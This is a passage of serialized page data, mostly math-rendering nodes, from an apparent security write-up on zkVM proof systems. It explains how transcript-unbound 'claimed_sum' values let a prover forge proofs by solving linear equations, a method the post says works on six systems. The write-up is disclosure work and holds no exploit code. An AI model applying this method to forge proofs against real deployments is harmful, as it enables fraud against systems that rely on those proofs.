",{"type":21,"tag":66,"props":114530,"children":114532},{"className":114531},[4748,4749],[114533],{"type":21,"tag":85,"props":114534,"children":114536},{"className":114535},[4754],[114537],{"type":21,"tag":85,"props":114538,"children":114540},{"className":114539,"ariaHidden":4760},[4759],[114541],{"type":21,"tag":85,"props":114542,"children":114544},{"className":114543},[4765],[114545,114549],{"type":21,"tag":85,"props":114546,"children":114548},{"className":114547,"style":111350},[4770],[],{"type":21,"tag":85,"props":114550,"children":114552},{"className":114551,"style":93995},[4776,22016],[114553],{"type":26,"value":114413},{"type":26,"value":20487},{"type":21,"tag":22,"props":114556,"children":114557},{},[114558],{"type":26,"value":114559},"If everything balances, the execution is consistent.",{"type":21,"tag":22,"props":114561,"children":114562},{},[114563,114568],{"type":21,"tag":873,"props":114564,"children":114565},{},[114566],{"type":26,"value":114567},"The claimed_sum:",{"type":26,"value":114569}," Each component computes its contribution to the LogUp sum:",{"type":21,"tag":22,"props":114571,"children":114572},{},[114573],{"type":21,"tag":66,"props":114574,"children":114576},{"className":114575},[4748,4749],[114577],{"type":21,"tag":85,"props":114578,"children":114580},{"className":114579},[4754],[114581],{"type":21,"tag":85,"props":114582,"children":114584},{"className":114583,"ariaHidden":4760},[4759],[114585,114683,114934],{"type":21,"tag":85,"props":114586,"children":114588},{"className":114587},[4765],[114589,114593,114603,114608,114670,114674,114679],{"type":21,"tag":85,"props":114590,"children":114592},{"className":114591,"style":94922},[4770],[],{"type":21,"tag":85,"props":114594,"children":114596},{"className":114595},[4776,26],[114597],{"type":21,"tag":85,"props":114598,"children":114600},{"className":114599},[4776],[114601],{"type":26,"value":114602},"claimed",{"type":21,"tag":85,"props":114604,"children":114606},{"className":114605,"style":93509},[4776],[114607],{"type":26,"value":3856},{"type":21,"tag":85,"props":114609,"children":114611},{"className":114610},[4776],[114612,114621],{"type":21,"tag":85,"props":114613,"children":114615},{"className":114614},[4776,26],[114616],{"type":21,"tag":85,"props":114617,"children":114619},{"className":114618},[4776],[114620],{"type":26,"value":77094},{"type":21,"tag":85,"props":114622,"children":114624},{"className":114623},[4793],[114625],{"type":21,"tag":85,"props":114626,"children":114628},{"className":114627},[4798,22070],[114629,114659],{"type":21,"tag":85,"props":114630,"children":114632},{"className":114631},[4803],[114633,114654],{"type":21,"tag":85,"props":114634,"children":114636},{"className":114635,"style":94038},[4808],[114637],{"type":21,"tag":85,"props":114638,"children":114640},{"style":114639},"top:-2.55em;margin-right:0.05em;",[114641,114645],{"type":21,"tag":85,"props":114642,"children":114644},{"className":114643,"style":4818},[4817],[],{"type":21,"tag":85,"props":114646,"children":114648},{"className":114647},[4823,4824,4825,4826],[114649],{"type":21,"tag":85,"props":114650,"children":114652},{"className":114651},[4776,22016,4826],[114653],{"type":26,"value":3003},{"type":21,"tag":85,"props":114655,"children":114657},{"className":114656},[22173],[114658],{"type":26,"value":22176},{"type":21,"tag":85,"props":114660,"children":114662},{"className":114661},[4803],[114663],{"type":21,"tag":85,"props":114664,"children":114666},{"className":114665,"style":93592},[4808],[114667],{"type":21,"tag":85,"props":114668,"children":114669},{},[],{"type":21,"tag":85,"props":114671,"children":114673},{"className":114672,"style":4955},[4857],[],{"type":21,"tag":85,"props":114675,"children":114677},{"className":114676},[4960],[114678],{"type":26,"value":741},{"type":21,"tag":85,"props":114680,"children":114682},{"className":114681,"style":4955},[4857],[],{"type":21,"tag":85,"props":114684,"children":114686},{"className":114685},[4765],[114687,114692,114752,114756,114921,114925,114930],{"type":21,"tag":85,"props":114688,"children":114691},{"className":114689,"style":114690},[4770],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":21,"tag":85,"props":114693,"children":114695},{"className":114694},[22052],[114696,114701],{"type":21,"tag":85,"props":114697,"children":114699},{"className":114698,"style":22059},[22052,22057,22058],[114700],{"type":26,"value":109304},{"type":21,"tag":85,"props":114702,"children":114704},{"className":114703},[4793],[114705],{"type":21,"tag":85,"props":114706,"children":114708},{"className":114707},[4798,22070],[114709,114740],{"type":21,"tag":85,"props":114710,"children":114712},{"className":114711},[4803],[114713,114735],{"type":21,"tag":85,"props":114714,"children":114717},{"className":114715,"style":114716},[4808],"height:0.162em;",[114718],{"type":21,"tag":85,"props":114719,"children":114720},{"style":22083},[114721,114725],{"type":21,"tag":85,"props":114722,"children":114724},{"className":114723,"style":4818},[4817],[],{"type":21,"tag":85,"props":114726,"children":114728},{"className":114727},[4823,4824,4825,4826],[114729],{"type":21,"tag":85,"props":114730,"children":114733},{"className":114731,"style":114732},[4776,22016,4826],"margin-right:0.05724em;",[114734],{"type":26,"value":3021},{"type":21,"tag":85,"props":114736,"children":114738},{"className":114737},[22173],[114739],{"type":26,"value":22176},{"type":21,"tag":85,"props":114741,"children":114743},{"className":114742},[4803],[114744],{"type":21,"tag":85,"props":114745,"children":114748},{"className":114746,"style":114747},[4808],"height:0.4358em;",[114749],{"type":21,"tag":85,"props":114750,"children":114751},{},[],{"type":21,"tag":85,"props":114753,"children":114755},{"className":114754,"style":4896},[4857],[],{"type":21,"tag":85,"props":114757,"children":114759},{"className":114758},[4776],[114760,114764,114917],{"type":21,"tag":85,"props":114761,"children":114763},{"className":114762},[22145,114027],[],{"type":21,"tag":85,"props":114765,"children":114767},{"className":114766},[114032],[114768],{"type":21,"tag":85,"props":114769,"children":114771},{"className":114770},[4798,22070],[114772,114905],{"type":21,"tag":85,"props":114773,"children":114775},{"className":114774},[4803],[114776,114900],{"type":21,"tag":85,"props":114777,"children":114779},{"className":114778,"style":114045},[4808],[114780,114869,114880],{"type":21,"tag":85,"props":114781,"children":114782},{"style":114049},[114783,114787],{"type":21,"tag":85,"props":114784,"children":114786},{"className":114785,"style":112680},[4817],[],{"type":21,"tag":85,"props":114788,"children":114790},{"className":114789},[4823,4824,4825,4826],[114791],{"type":21,"tag":85,"props":114792,"children":114794},{"className":114793},[4776,4826],[114795,114800,114805],{"type":21,"tag":85,"props":114796,"children":114798},{"className":114797,"style":114066},[4776,22016,4826],[114799],{"type":26,"value":114069},{"type":21,"tag":85,"props":114801,"children":114803},{"className":114802},[4863,4826],[114804],{"type":26,"value":4837},{"type":21,"tag":85,"props":114806,"children":114808},{"className":114807},[4776,4826],[114809,114818],{"type":21,"tag":85,"props":114810,"children":114812},{"className":114811},[4776,26,4826],[114813],{"type":21,"tag":85,"props":114814,"children":114816},{"className":114815},[4776,4826],[114817],{"type":26,"value":62466},{"type":21,"tag":85,"props":114819,"children":114821},{"className":114820},[4793],[114822],{"type":21,"tag":85,"props":114823,"children":114825},{"className":114824},[4798,22070],[114826,114857],{"type":21,"tag":85,"props":114827,"children":114829},{"className":114828},[4803],[114830,114852],{"type":21,"tag":85,"props":114831,"children":114834},{"className":114832,"style":114833},[4808],"height:0.3281em;",[114835],{"type":21,"tag":85,"props":114836,"children":114838},{"style":114837},"top:-2.357em;margin-right:0.0714em;",[114839,114843],{"type":21,"tag":85,"props":114840,"children":114842},{"className":114841,"style":109369},[4817],[],{"type":21,"tag":85,"props":114844,"children":114846},{"className":114845},[4823,109374,109375,4826],[114847],{"type":21,"tag":85,"props":114848,"children":114850},{"className":114849,"style":114732},[4776,22016,4826],[114851],{"type":26,"value":3021},{"type":21,"tag":85,"props":114853,"children":114855},{"className":114854},[22173],[114856],{"type":26,"value":22176},{"type":21,"tag":85,"props":114858,"children":114860},{"className":114859},[4803],[114861],{"type":21,"tag":85,"props":114862,"children":114865},{"className":114863,"style":114864},[4808],"height:0.2819em;",[114866],{"type":21,"tag":85,"props":114867,"children":114868},{},[],{"type":21,"tag":85,"props":114870,"children":114871},{"style":114082},[114872,114876],{"type":21,"tag":85,"props":114873,"children":114875},{"className":114874,"style":112680},[4817],[],{"type":21,"tag":85,"props":114877,"children":114879},{"className":114878,"style":114092},[114091],[],{"type":21,"tag":85,"props":114881,"children":114882},{"style":114096},[114883,114887],{"type":21,"tag":85,"props":114884,"children":114886},{"className":114885,"style":112680},[4817],[],{"type":21,"tag":85,"props":114888,"children":114890},{"className":114889},[4823,4824,4825,4826],[114891],{"type":21,"tag":85,"props":114892,"children":114894},{"className":114893},[4776,4826],[114895],{"type":21,"tag":85,"props":114896,"children":114898},{"className":114897},[4776,4826],[114899],{"type":26,"value":4779},{"type":21,"tag":85,"props":114901,"children":114903},{"className":114902},[22173],[114904],{"type":26,"value":22176},{"type":21,"tag":85,"props":114906,"children":114908},{"className":114907},[4803],[114909],{"type":21,"tag":85,"props":114910,"children":114913},{"className":114911,"style":114912},[4808],"height:0.5423em;",[114914],{"type":21,"tag":85,"props":114915,"children":114916},{},[],{"type":21,"tag":85,"props":114918,"children":114920},{"className":114919},[22167,114027],[],{"type":21,"tag":85,"props":114922,"children":114924},{"className":114923,"style":4858},[4857],[],{"type":21,"tag":85,"props":114926,"children":114928},{"className":114927},[4863],[114929],{"type":26,"value":4837},{"type":21,"tag":85,"props":114931,"children":114933},{"className":114932,"style":4858},[4857],[],{"type":21,"tag":85,"props":114935,"children":114937},{"className":114936},[4765],[114938,114943,115001,115005],{"type":21,"tag":85,"props":114939,"children":114942},{"className":114940,"style":114941},[4770],"height:1.296em;vertical-align:-0.4509em;",[],{"type":21,"tag":85,"props":114944,"children":114946},{"className":114945},[22052],[114947,114952],{"type":21,"tag":85,"props":114948,"children":114950},{"className":114949,"style":22059},[22052,22057,22058],[114951],{"type":26,"value":109304},{"type":21,"tag":85,"props":114953,"children":114955},{"className":114954},[4793],[114956],{"type":21,"tag":85,"props":114957,"children":114959},{"className":114958},[4798,22070],[114960,114989],{"type":21,"tag":85,"props":114961,"children":114963},{"className":114962},[4803],[114964,114984],{"type":21,"tag":85,"props":114965,"children":114967},{"className":114966,"style":114181},[4808],[114968],{"type":21,"tag":85,"props":114969,"children":114970},{"style":22083},[114971,114975],{"type":21,"tag":85,"props":114972,"children":114974},{"className":114973,"style":4818},[4817],[],{"type":21,"tag":85,"props":114976,"children":114978},{"className":114977},[4823,4824,4825,4826],[114979],{"type":21,"tag":85,"props":114980,"children":114982},{"className":114981,"style":94938},[4776,22016,4826],[114983],{"type":26,"value":89146},{"type":21,"tag":85,"props":114985,"children":114987},{"className":114986},[22173],[114988],{"type":26,"value":22176},{"type":21,"tag":85,"props":114990,"children":114992},{"className":114991},[4803],[114993],{"type":21,"tag":85,"props":114994,"children":114997},{"className":114995,"style":114996},[4808],"height:0.2997em;",[114998],{"type":21,"tag":85,"props":114999,"children":115000},{},[],{"type":21,"tag":85,"props":115002,"children":115004},{"className":115003,"style":4896},[4857],[],{"type":21,"tag":85,"props":115006,"children":115008},{"className":115007},[4776],[115009,115013,115166],{"type":21,"tag":85,"props":115010,"children":115012},{"className":115011},[22145,114027],[],{"type":21,"tag":85,"props":115014,"children":115016},{"className":115015},[114032],[115017],{"type":21,"tag":85,"props":115018,"children":115020},{"className":115019},[4798,22070],[115021,115154],{"type":21,"tag":85,"props":115022,"children":115024},{"className":115023},[4803],[115025,115149],{"type":21,"tag":85,"props":115026,"children":115028},{"className":115027,"style":114045},[4808],[115029,115118,115129],{"type":21,"tag":85,"props":115030,"children":115031},{"style":114049},[115032,115036],{"type":21,"tag":85,"props":115033,"children":115035},{"className":115034,"style":112680},[4817],[],{"type":21,"tag":85,"props":115037,"children":115039},{"className":115038},[4823,4824,4825,4826],[115040],{"type":21,"tag":85,"props":115041,"children":115043},{"className":115042},[4776,4826],[115044,115049,115054],{"type":21,"tag":85,"props":115045,"children":115047},{"className":115046,"style":114066},[4776,22016,4826],[115048],{"type":26,"value":114069},{"type":21,"tag":85,"props":115050,"children":115052},{"className":115051},[4863,4826],[115053],{"type":26,"value":4837},{"type":21,"tag":85,"props":115055,"children":115057},{"className":115056},[4776,4826],[115058,115068],{"type":21,"tag":85,"props":115059,"children":115061},{"className":115060},[4776,26,4826],[115062],{"type":21,"tag":85,"props":115063,"children":115065},{"className":115064},[4776,4826],[115066],{"type":26,"value":115067},"consume",{"type":21,"tag":85,"props":115069,"children":115071},{"className":115070},[4793],[115072],{"type":21,"tag":85,"props":115073,"children":115075},{"className":115074},[4798,22070],[115076,115106],{"type":21,"tag":85,"props":115077,"children":115079},{"className":115078},[4803],[115080,115101],{"type":21,"tag":85,"props":115081,"children":115083},{"className":115082,"style":112841},[4808],[115084],{"type":21,"tag":85,"props":115085,"children":115087},{"style":115086},"top:-2.3488em;margin-right:0.0714em;",[115088,115092],{"type":21,"tag":85,"props":115089,"children":115091},{"className":115090,"style":109369},[4817],[],{"type":21,"tag":85,"props":115093,"children":115095},{"className":115094},[4823,109374,109375,4826],[115096],{"type":21,"tag":85,"props":115097,"children":115099},{"className":115098,"style":94938},[4776,22016,4826],[115100],{"type":26,"value":89146},{"type":21,"tag":85,"props":115102,"children":115104},{"className":115103},[22173],[115105],{"type":26,"value":22176},{"type":21,"tag":85,"props":115107,"children":115109},{"className":115108},[4803],[115110],{"type":21,"tag":85,"props":115111,"children":115114},{"className":115112,"style":115113},[4808],"height:0.1512em;",[115115],{"type":21,"tag":85,"props":115116,"children":115117},{},[],{"type":21,"tag":85,"props":115119,"children":115120},{"style":114082},[115121,115125],{"type":21,"tag":85,"props":115122,"children":115124},{"className":115123,"style":112680},[4817],[],{"type":21,"tag":85,"props":115126,"children":115128},{"className":115127,"style":114092},[114091],[],{"type":21,"tag":85,"props":115130,"children":115131},{"style":114096},[115132,115136],{"type":21,"tag":85,"props":115133,"children":115135},{"className":115134,"style":112680},[4817],[],{"type":21,"tag":85,"props":115137,"children":115139},{"className":115138},[4823,4824,4825,4826],[115140],{"type":21,"tag":85,"props":115141,"children":115143},{"className":115142},[4776,4826],[115144],{"type":21,"tag":85,"props":115145,"children":115147},{"className":115146},[4776,4826],[115148],{"type":26,"value":4779},{"type":21,"tag":85,"props":115150,"children":115152},{"className":115151},[22173],[115153],{"type":26,"value":22176},{"type":21,"tag":85,"props":115155,"children":115157},{"className":115156},[4803],[115158],{"type":21,"tag":85,"props":115159,"children":115162},{"className":115160,"style":115161},[4808],"height:0.4509em;",[115163],{"type":21,"tag":85,"props":115164,"children":115165},{},[],{"type":21,"tag":85,"props":115167,"children":115169},{"className":115168},[22167,114027],[],{"type":21,"tag":22,"props":115171,"children":115172},{},[115173,115175,115357],{"type":26,"value":115174},"The global check: ",{"type":21,"tag":66,"props":115176,"children":115178},{"className":115177},[4748,4749],[115179],{"type":21,"tag":85,"props":115180,"children":115182},{"className":115181},[4754],[115183],{"type":21,"tag":85,"props":115184,"children":115186},{"className":115185,"ariaHidden":4760},[4759],[115187,115344],{"type":21,"tag":85,"props":115188,"children":115190},{"className":115189},[4765],[115191,115195,115252,115256,115265,115270,115331,115335,115340],{"type":21,"tag":85,"props":115192,"children":115194},{"className":115193,"style":93451},[4770],[],{"type":21,"tag":85,"props":115196,"children":115198},{"className":115197},[22052],[115199,115204],{"type":21,"tag":85,"props":115200,"children":115202},{"className":115201,"style":22059},[22052,22057,22058],[115203],{"type":26,"value":109304},{"type":21,"tag":85,"props":115205,"children":115207},{"className":115206},[4793],[115208],{"type":21,"tag":85,"props":115209,"children":115211},{"className":115210},[4798,22070],[115212,115241],{"type":21,"tag":85,"props":115213,"children":115215},{"className":115214},[4803],[115216,115236],{"type":21,"tag":85,"props":115217,"children":115219},{"className":115218,"style":114716},[4808],[115220],{"type":21,"tag":85,"props":115221,"children":115222},{"style":22083},[115223,115227],{"type":21,"tag":85,"props":115224,"children":115226},{"className":115225,"style":4818},[4817],[],{"type":21,"tag":85,"props":115228,"children":115230},{"className":115229},[4823,4824,4825,4826],[115231],{"type":21,"tag":85,"props":115232,"children":115234},{"className":115233},[4776,22016,4826],[115235],{"type":26,"value":3003},{"type":21,"tag":85,"props":115237,"children":115239},{"className":115238},[22173],[115240],{"type":26,"value":22176},{"type":21,"tag":85,"props":115242,"children":115244},{"className":115243},[4803],[115245],{"type":21,"tag":85,"props":115246,"children":115248},{"className":115247,"style":114996},[4808],[115249],{"type":21,"tag":85,"props":115250,"children":115251},{},[],{"type":21,"tag":85,"props":115253,"children":115255},{"className":115254,"style":4896},[4857],[],{"type":21,"tag":85,"props":115257,"children":115259},{"className":115258},[4776,26],[115260],{"type":21,"tag":85,"props":115261,"children":115263},{"className":115262},[4776],[115264],{"type":26,"value":114602},{"type":21,"tag":85,"props":115266,"children":115268},{"className":115267,"style":93509},[4776],[115269],{"type":26,"value":3856},{"type":21,"tag":85,"props":115271,"children":115273},{"className":115272},[4776],[115274,115283],{"type":21,"tag":85,"props":115275,"children":115277},{"className":115276},[4776,26],[115278],{"type":21,"tag":85,"props":115279,"children":115281},{"className":115280},[4776],[115282],{"type":26,"value":77094},{"type":21,"tag":85,"props":115284,"children":115286},{"className":115285},[4793],[115287],{"type":21,"tag":85,"props":115288,"children":115290},{"className":115289},[4798,22070],[115291,115320],{"type":21,"tag":85,"props":115292,"children":115294},{"className":115293},[4803],[115295,115315],{"type":21,"tag":85,"props":115296,"children":115298},{"className":115297,"style":94038},[4808],[115299],{"type":21,"tag":85,"props":115300,"children":115301},{"style":114639},[115302,115306],{"type":21,"tag":85,"props":115303,"children":115305},{"className":115304,"style":4818},[4817],[],{"type":21,"tag":85,"props":115307,"children":115309},{"className":115308},[4823,4824,4825,4826],[115310],{"type":21,"tag":85,"props":115311,"children":115313},{"className":115312},[4776,22016,4826],[115314],{"type":26,"value":3003},{"type":21,"tag":85,"props":115316,"children":115318},{"className":115317},[22173],[115319],{"type":26,"value":22176},{"type":21,"tag":85,"props":115321,"children":115323},{"className":115322},[4803],[115324],{"type":21,"tag":85,"props":115325,"children":115327},{"className":115326,"style":93592},[4808],[115328],{"type":21,"tag":85,"props":115329,"children":115330},{},[],{"type":21,"tag":85,"props":115332,"children":115334},{"className":115333,"style":4955},[4857],[],{"type":21,"tag":85,"props":115336,"children":115338},{"className":115337},[4960],[115339],{"type":26,"value":741},{"type":21,"tag":85,"props":115341,"children":115343},{"className":115342,"style":4955},[4857],[],{"type":21,"tag":85,"props":115345,"children":115347},{"className":115346},[4765],[115348,115352],{"type":21,"tag":85,"props":115349,"children":115351},{"className":115350,"style":94540},[4770],[],{"type":21,"tag":85,"props":115353,"children":115355},{"className":115354},[4776],[115356],{"type":26,"value":4789},{"type":26,"value":73},{"type":21,"tag":22,"props":115359,"children":115360},{},[115361,115366,115368,115374],{"type":21,"tag":873,"props":115362,"children":115363},{},[115364],{"type":26,"value":115365},"Why this is vulnerable:",{"type":26,"value":115367}," The ",{"type":21,"tag":66,"props":115369,"children":115371},{"className":115370},[],[115372],{"type":26,"value":115373},"claimed_sum",{"type":26,"value":115375}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":21,"tag":19218,"props":115377,"children":115378},{},[],{"type":21,"tag":54,"props":115380,"children":115382},{"id":115381},"the-universal-attack-pattern",[115383],{"type":26,"value":115384},"The Universal Attack Pattern",{"type":21,"tag":22,"props":115386,"children":115387},{},[115388],{"type":26,"value":115389},"Now we can describe the attack pattern that works on all six systems:",{"type":21,"tag":22,"props":115391,"children":115392},{},[115393],{"type":21,"tag":4681,"props":115394,"children":115397},{"alt":115395,"src":115396},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":21,"tag":22,"props":115399,"children":115400},{},[115401,115403,115428],{"type":26,"value":115402},"When a value ",{"type":21,"tag":66,"props":115404,"children":115406},{"className":115405},[4748,4749],[115407],{"type":21,"tag":85,"props":115408,"children":115410},{"className":115409},[4754],[115411],{"type":21,"tag":85,"props":115412,"children":115414},{"className":115413,"ariaHidden":4760},[4759],[115415],{"type":21,"tag":85,"props":115416,"children":115418},{"className":115417},[4765],[115419,115423],{"type":21,"tag":85,"props":115420,"children":115422},{"className":115421,"style":22011},[4770],[],{"type":21,"tag":85,"props":115424,"children":115426},{"className":115425,"style":108707},[4776,22016],[115427],{"type":26,"value":109031},{"type":26,"value":115429}," isn't transcript-bound:",{"type":21,"tag":841,"props":115431,"children":115432},{},[115433,115464,115541,115686],{"type":21,"tag":845,"props":115434,"children":115435},{},[115436,115438,115463],{"type":26,"value":115437},"Challenges are fixed (independent of ",{"type":21,"tag":66,"props":115439,"children":115441},{"className":115440},[4748,4749],[115442],{"type":21,"tag":85,"props":115443,"children":115445},{"className":115444},[4754],[115446],{"type":21,"tag":85,"props":115447,"children":115449},{"className":115448,"ariaHidden":4760},[4759],[115450],{"type":21,"tag":85,"props":115451,"children":115453},{"className":115452},[4765],[115454,115458],{"type":21,"tag":85,"props":115455,"children":115457},{"className":115456,"style":22011},[4770],[],{"type":21,"tag":85,"props":115459,"children":115461},{"className":115460,"style":108707},[4776,22016],[115462],{"type":26,"value":109031},{"type":26,"value":1900},{"type":21,"tag":845,"props":115465,"children":115466},{},[115467,115469],{"type":26,"value":115468},"The verification equation has form: ",{"type":21,"tag":66,"props":115470,"children":115472},{"className":115471},[4748,4749],[115473],{"type":21,"tag":85,"props":115474,"children":115476},{"className":115475},[4754],[115477],{"type":21,"tag":85,"props":115478,"children":115480},{"className":115479,"ariaHidden":4760},[4759],[115481,115522],{"type":21,"tag":85,"props":115482,"children":115484},{"className":115483},[4765],[115485,115489,115494,115499,115504,115509,115513,115518],{"type":21,"tag":85,"props":115486,"children":115488},{"className":115487,"style":4878},[4770],[],{"type":21,"tag":85,"props":115490,"children":115492},{"className":115491,"style":95863},[4776,22016],[115493],{"type":26,"value":33531},{"type":21,"tag":85,"props":115495,"children":115497},{"className":115496},[22145],[115498],{"type":26,"value":1439},{"type":21,"tag":85,"props":115500,"children":115502},{"className":115501,"style":108707},[4776,22016],[115503],{"type":26,"value":109031},{"type":21,"tag":85,"props":115505,"children":115507},{"className":115506},[22167],[115508],{"type":26,"value":1900},{"type":21,"tag":85,"props":115510,"children":115512},{"className":115511,"style":4955},[4857],[],{"type":21,"tag":85,"props":115514,"children":115516},{"className":115515},[4960],[115517],{"type":26,"value":741},{"type":21,"tag":85,"props":115519,"children":115521},{"className":115520,"style":4955},[4857],[],{"type":21,"tag":85,"props":115523,"children":115525},{"className":115524},[4765],[115526,115531],{"type":21,"tag":85,"props":115527,"children":115530},{"className":115528,"style":115529},[4770],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":21,"tag":85,"props":115532,"children":115534},{"className":115533},[4776,26],[115535],{"type":21,"tag":85,"props":115536,"children":115538},{"className":115537},[4776],[115539],{"type":26,"value":115540},"target",{"type":21,"tag":845,"props":115542,"children":115543},{},[115544,115545,115571,115573],{"type":26,"value":1826},{"type":21,"tag":66,"props":115546,"children":115548},{"className":115547},[4748,4749],[115549],{"type":21,"tag":85,"props":115550,"children":115552},{"className":115551},[4754],[115553],{"type":21,"tag":85,"props":115554,"children":115556},{"className":115555,"ariaHidden":4760},[4759],[115557],{"type":21,"tag":85,"props":115558,"children":115560},{"className":115559},[4765],[115561,115566],{"type":21,"tag":85,"props":115562,"children":115565},{"className":115563,"style":115564},[4770],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":21,"tag":85,"props":115567,"children":115569},{"className":115568,"style":95863},[4776,22016],[115570],{"type":26,"value":33531},{"type":26,"value":115572}," is linear: ",{"type":21,"tag":66,"props":115574,"children":115576},{"className":115575},[4748,4749],[115577],{"type":21,"tag":85,"props":115578,"children":115580},{"className":115579},[4754],[115581],{"type":21,"tag":85,"props":115582,"children":115584},{"className":115583,"ariaHidden":4760},[4759],[115585,115614,115641,115669],{"type":21,"tag":85,"props":115586,"children":115588},{"className":115587},[4765],[115589,115594,115601,115605,115610],{"type":21,"tag":85,"props":115590,"children":115593},{"className":115591,"style":115592},[4770],"height:0.4445em;",[],{"type":21,"tag":85,"props":115595,"children":115598},{"className":115596,"style":115597},[4776,22016],"margin-right:0.0037em;",[115599],{"type":26,"value":115600},"α",{"type":21,"tag":85,"props":115602,"children":115604},{"className":115603,"style":4858},[4857],[],{"type":21,"tag":85,"props":115606,"children":115608},{"className":115607},[4863],[115609],{"type":26,"value":111771},{"type":21,"tag":85,"props":115611,"children":115613},{"className":115612,"style":4858},[4857],[],{"type":21,"tag":85,"props":115615,"children":115617},{"className":115616},[4765],[115618,115623,115628,115632,115637],{"type":21,"tag":85,"props":115619,"children":115622},{"className":115620,"style":115621},[4770],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":21,"tag":85,"props":115624,"children":115626},{"className":115625,"style":108707},[4776,22016],[115627],{"type":26,"value":109031},{"type":21,"tag":85,"props":115629,"children":115631},{"className":115630,"style":4858},[4857],[],{"type":21,"tag":85,"props":115633,"children":115635},{"className":115634},[4863],[115636],{"type":26,"value":5151},{"type":21,"tag":85,"props":115638,"children":115640},{"className":115639,"style":4858},[4857],[],{"type":21,"tag":85,"props":115642,"children":115644},{"className":115643},[4765],[115645,115649,115656,115660,115665],{"type":21,"tag":85,"props":115646,"children":115648},{"className":115647,"style":115564},[4770],[],{"type":21,"tag":85,"props":115650,"children":115653},{"className":115651,"style":115652},[4776,22016],"margin-right:0.05278em;",[115654],{"type":26,"value":115655},"β",{"type":21,"tag":85,"props":115657,"children":115659},{"className":115658,"style":4955},[4857],[],{"type":21,"tag":85,"props":115661,"children":115663},{"className":115662},[4960],[115664],{"type":26,"value":741},{"type":21,"tag":85,"props":115666,"children":115668},{"className":115667,"style":4955},[4857],[],{"type":21,"tag":85,"props":115670,"children":115672},{"className":115671},[4765],[115673,115677],{"type":21,"tag":85,"props":115674,"children":115676},{"className":115675,"style":115529},[4770],[],{"type":21,"tag":85,"props":115678,"children":115680},{"className":115679},[4776,26],[115681],{"type":21,"tag":85,"props":115682,"children":115684},{"className":115683},[4776],[115685],{"type":26,"value":115540},{"type":21,"tag":845,"props":115687,"children":115688},{},[115689,115691],{"type":26,"value":115690},"Solve: ",{"type":21,"tag":66,"props":115692,"children":115694},{"className":115693},[4748,4749],[115695],{"type":21,"tag":85,"props":115696,"children":115698},{"className":115697},[4754],[115699],{"type":21,"tag":85,"props":115700,"children":115702},{"className":115701,"ariaHidden":4760},[4759],[115703,115729,115764],{"type":21,"tag":85,"props":115704,"children":115706},{"className":115705},[4765],[115707,115711,115716,115720,115725],{"type":21,"tag":85,"props":115708,"children":115710},{"className":115709,"style":22011},[4770],[],{"type":21,"tag":85,"props":115712,"children":115714},{"className":115713,"style":108707},[4776,22016],[115715],{"type":26,"value":109031},{"type":21,"tag":85,"props":115717,"children":115719},{"className":115718,"style":4955},[4857],[],{"type":21,"tag":85,"props":115721,"children":115723},{"className":115722},[4960],[115724],{"type":26,"value":741},{"type":21,"tag":85,"props":115726,"children":115728},{"className":115727,"style":4955},[4857],[],{"type":21,"tag":85,"props":115730,"children":115732},{"className":115731},[4765],[115733,115737,115742,115751,115755,115760],{"type":21,"tag":85,"props":115734,"children":115736},{"className":115735,"style":4878},[4770],[],{"type":21,"tag":85,"props":115738,"children":115740},{"className":115739},[22145],[115741],{"type":26,"value":1439},{"type":21,"tag":85,"props":115743,"children":115745},{"className":115744},[4776,26],[115746],{"type":21,"tag":85,"props":115747,"children":115749},{"className":115748},[4776],[115750],{"type":26,"value":115540},{"type":21,"tag":85,"props":115752,"children":115754},{"className":115753,"style":4858},[4857],[],{"type":21,"tag":85,"props":115756,"children":115758},{"className":115757},[4863],[115759],{"type":26,"value":4837},{"type":21,"tag":85,"props":115761,"children":115763},{"className":115762,"style":4858},[4857],[],{"type":21,"tag":85,"props":115765,"children":115767},{"className":115766},[4765],[115768,115772,115777,115782,115787],{"type":21,"tag":85,"props":115769,"children":115771},{"className":115770,"style":4878},[4770],[],{"type":21,"tag":85,"props":115773,"children":115775},{"className":115774,"style":115652},[4776,22016],[115776],{"type":26,"value":115655},{"type":21,"tag":85,"props":115778,"children":115780},{"className":115779},[22167],[115781],{"type":26,"value":1900},{"type":21,"tag":85,"props":115783,"children":115785},{"className":115784},[4776],[115786],{"type":26,"value":5349},{"type":21,"tag":85,"props":115788,"children":115790},{"className":115789,"style":115597},[4776,22016],[115791],{"type":26,"value":115600},{"type":21,"tag":22,"props":115793,"children":115794},{},[115795],{"type":26,"value":115796},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":21,"tag":22,"props":115798,"children":115799},{},[115800,115802,115880],{"type":26,"value":115801},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":21,"tag":66,"props":115803,"children":115805},{"className":115804},[4748,4749],[115806],{"type":21,"tag":85,"props":115807,"children":115809},{"className":115808},[4754],[115810],{"type":21,"tag":85,"props":115811,"children":115813},{"className":115812,"ariaHidden":4760},[4759],[115814],{"type":21,"tag":85,"props":115815,"children":115817},{"className":115816},[4765],[115818,115823,115829,115834,115875],{"type":21,"tag":85,"props":115819,"children":115822},{"className":115820,"style":115821},[4770],"height:1.0641em;vertical-align:-0.25em;",[],{"type":21,"tag":85,"props":115824,"children":115826},{"className":115825,"style":93509},[4776,22016],[115827],{"type":26,"value":115828},"O",{"type":21,"tag":85,"props":115830,"children":115832},{"className":115831},[22145],[115833],{"type":26,"value":1439},{"type":21,"tag":85,"props":115835,"children":115837},{"className":115836},[4776],[115838,115843],{"type":21,"tag":85,"props":115839,"children":115841},{"className":115840},[4776,22016],[115842],{"type":26,"value":56860},{"type":21,"tag":85,"props":115844,"children":115846},{"className":115845},[4793],[115847],{"type":21,"tag":85,"props":115848,"children":115850},{"className":115849},[4798],[115851],{"type":21,"tag":85,"props":115852,"children":115854},{"className":115853},[4803],[115855],{"type":21,"tag":85,"props":115856,"children":115858},{"className":115857,"style":4771},[4808],[115859],{"type":21,"tag":85,"props":115860,"children":115861},{"style":4812},[115862,115866],{"type":21,"tag":85,"props":115863,"children":115865},{"className":115864,"style":4818},[4817],[],{"type":21,"tag":85,"props":115867,"children":115869},{"className":115868},[4823,4824,4825,4826],[115870],{"type":21,"tag":85,"props":115871,"children":115873},{"